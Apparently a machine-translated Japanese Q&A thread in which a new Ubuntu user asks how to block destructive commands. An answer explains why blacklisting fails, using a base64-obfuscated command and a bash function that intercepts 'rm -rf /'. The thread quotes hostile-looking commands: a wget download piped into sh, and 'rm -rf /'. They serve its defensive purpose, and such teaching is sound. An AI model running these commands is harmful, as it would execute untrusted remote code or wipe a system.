最近記事「 Linuxで実行してはならない8つの致命的なコマンド 」を読んだ後、特定のコマンドを何らかの方法でブロック/防止/変更することを計画しました。他の誰かが私のPCで破壊的なコマンドを実行することを心配していません。私が事故の原因になっているのではないかと心配しています。
以下にリストされているコマンドが心配です。
wget http://example.com/something -O – | sh –
sh -
に気付いたら、アーカイブの内容をチェックアウトしてから実行していました。rm -rf /
将来これらの間違いを犯さないようにしたいです。これらの間違いを犯さないようにするコマンド/構成ファイルはありますか? Sudo/root権限があっても上記のコマンドを実行できないようにします。解決策を逆にすることができれば大丈夫です。
Ubuntuについて詳しく知るのに役立つリソース(一般的なUbuntu Wiki/Help/etc。リンクを除く)は、高く評価されます!
データの損失は私の主な関心事ではありません。私は自分自身のために端末を少し安全にしたい(あなたがするなら 'newb-proofed')。学ぶべきことがたくさんあるので、これは私にとって役立つでしょう。学校を再開しましたが、問題/エラーの解決にあまり時間を費やすことはできません(現状のまま)。
編集:
確認を求めるために特定のコマンドを要求することは可能ですか?特別なパスワードを要求する特定のコマンドを設定したい場合、実行できますか?
私がコメントで言ったように、あなたがタイプするものを知ることは最高のセキュリティです。
以下は、 関連する質問 で使用されている例です。
`base64 --decode <<< "cHJpbnRmICclcycgICdIZWxsbyBXb3JsZCcK"`
(完全を期すために、-d
の代わりに--decode
フラグを使用できます。私の答えを編集しようとした人は-d
は無効ですが、それは非常に有効で、指定されている マニュアル )
これが何をするか知っていますか?それは偽装されたprintf '%s' 'Hello World'
です。無害ですよね?これがrm -rf /
だった場合はどうなりますか?ブラックリストに登録しても、何かが偽装されてもあなたを救うことができません。このコマンドが悪意のあるユーザーによって正当なフォーラムに置かれているのを見ることができますか?それが起こるからです。そして、それは正確にそのコマンドである必要はありません-あなたが新しいユーザーで、あなたが何をしているのかわからない場合、悪意のあるユーザーはあなたに remove python または他の重要なパッケージを伝えることができ、あなたのブログやフォーラムにあなたを連れて行った問題を修正します。
しかし、確かに、次のように/etc/bash.bashrc
でグローバル関数を介して何かをブラックリストに載せることができます(関数はコマンドまたはエイリアスよりも優先されるため)。
function rm{
if [ "$1" = "-rf" ] && [ "$2" = "/" ]
then
echo "This command is bad juju"
else
rm "$@"
fi
}
これは単なる例です。そして、非常に冗長なもの-Ubuntuのrm -rf /
はデフォルトで確認が必要です。
これも防弾ではありません。攻撃者として別のシェルを使用するとどうなりますか? bashrc
魔法はdash
Shellに電力を供給しません。これはデフォルトでUbuntuにも付属しています
また、悪意のあるコマンドを1つ1つブラックリストに追加する関数を作成しますか?
追加の注意:「無害な」コマンドと思われるものをコピーすることも危険です。 この種のクリップボードの乱用から身を守るにはどうすればよいですか? およびこのテーマに関するStephane Chazelasの回答を参照してください。